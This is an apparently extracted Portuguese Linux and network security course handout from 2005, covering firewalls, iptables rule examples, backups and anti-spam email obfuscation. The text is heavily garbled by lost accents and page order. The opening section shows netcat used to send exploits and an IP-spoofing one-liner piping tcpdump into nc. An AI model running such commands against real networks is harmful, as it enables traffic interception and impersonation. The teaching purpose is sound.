ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 21: Curso de segurança em linux e redes em geral

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

